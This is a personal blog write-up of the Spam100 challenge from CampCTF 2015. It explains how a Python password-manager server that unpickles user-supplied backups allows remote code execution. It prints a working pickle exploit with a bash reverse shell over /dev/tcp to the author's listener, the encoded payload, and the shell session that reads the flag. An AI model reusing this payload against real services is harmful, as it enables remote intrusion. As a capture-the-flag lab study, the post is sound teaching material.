Few days ago I had the chance to attend to Chaos Communication Camp 2015.
I personally had a great time camping, swimming in the lake and catching up with friends I usually bump into conferences like this — including an old friend from high school I haven’t seen in ages.
This year CCC Aachen held a capture the flag competition at the event named CampCTF. The CTF was open for everyone interested and there was no requirement of physical presence at the camp to play.
I admit I barely touched my computer while at the camp — I was more keen to enjoy a good time with friends and have holidays — I had a go with some of the challenges of the CTF.
Without further ado, let’s proceed with the actual write-up of one of the challenges of the CTF: Spam100.
Spam100 (Pwn category)
I personally found Spam100 very easy to solve. Even though I never exploited a similar issue before, in the past I have read write-ups as well as security advisories of the same issue so it was easy to spot the vulnerability straight away.
Spam100 was a 80-line Python server application that simulates the functionality of a very simple password manager. Among its options are to list already stored passwords, add or remove password to the storage, backup passwords or restore from a user-uploaded backup.
Passwords are stored in a dictionary structure called “entries”. The code simply adds to or removes passwords from a dictionary using Python’s standard way to handle these structures.
However in case the actions of backup or restore are requested, spam100 serializes and zlib compresses the “entries” dictionary when asked to perform a backup — it does the opposite when instructed to restore the backup.
The code for backup and restore can be seen below:
44 def spam_backup(): 45 s.sendall("Your backup: %s\n" % zlib.compress(pickle.dumps(entries)).encode("base64")) 46 47 def spam_restore(): 48 s.sendall("Paste your backup here: ") 49 backup = rl() 50 global entries 51 entries = pickle.loads(zlib.decompress(backup.decode("base64"))) 52 s.sendall("Successfully restored %d entries\n" % len(entries))
Understanding the vulnerability
pickle is responsible for Python’s object serialization, allowing for the serialization of objects such as classes, integers, strings, tuples, dictionaries, lists, etc.
When unpickling a blob, the pickle module creates an instance of the object and populates it with the required arguments and operands.
The __reduce__ method is used in the pickle mechanism to instruct how the
object has to be reconstructed. This is achieved by returning a tuple containing the callable module and class and the arguments that will populate it.
As a result of unpickling untrusted data, an adversary can force the application to instantiate arbitrary classes — creating an attacker-controlled object, ultimately resulting in remote arbitrary code execution.
While writing this post I found a few useful links that explain the problem more in depth. Check the links ,  and  on the references section for more information.
The following exploit serializes the class RunBinSh, which in turn returns an object containing subprocess.Popen() and its arguments. Later on the pickled object gets zlib compressed and finally base64 encoded.
Before sending the payload I set up a netcat listener on port 8080 to receive the connect-back shell.
#!/usr/bin/python import pickle import subprocess import base64 import zlib class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/bash','-c','bash -i >& /dev/tcp/126.96.36.199/8080 0>&1'),)) print base64.b64encode(zlib.compress(pickle.dumps(RunBinSh())))
julio@trouble:~/personal/ctf/cccamp2015/pwn/spam100$ ./pickleexpl.py eJwVizkOgCAQAPt9BRXYyAIeYOMbjL5AkEQb3Ij6frGYZDLJhPx4us4Qc4bppJiAFFTVItAfCf2adwGkYRF1KGKK/I3VBxs5wy2+eAdCbZ3sjdR2kMZYdMoppkauy9LATW2hg5l6kB8ooB25
Sending the payload:
julio@trouble:~/personal/ctf/cccamp2015/pwn/spam100$ nc challs.campctf.ccc.ac 10113 Welcome to Super Password Authentication Manager (SPAM)! Menu: 1) List Passwords 2) Add a Password 3) Remove a Password 4) Backup Passwords 5) Restore backup 5 Paste your backup here: eJwVizkOgCAQAPt9BRXYyAIeYOMbjL5AkEQb3Ij6frGYZDLJhPx4us4Qc4bppJiAFFTVItAfCf2adwGkYRF1KGKK/I3VBxs5wy2+eAdCbZ3sjdR2kMZYdMoppkauy9LATW2hg5l6kB8ooB25
Result from the netcat listener:
julio@whatever:~$ nc -l -p 8080 -vv Listening on [0.0.0.0] (family 0, port 8080) Connection from [188.8.131.52] port 8080 [tcp/http-alt] accepted (family 2, sport 33713) bash: cannot set terminal process group (26856): Inappropriate ioctl for device bash: no job control in this shell challenge@challenge-spam:~$ challenge@challenge-spam:~$ challenge@challenge-spam:~$ challenge@challenge-spam:~$ ls ls flag.txt run.sh spam.py challenge@challenge-spam:~$ cat flag.txt cat flag.txt CAMP15_76b5fad40644ac0616b301454250c408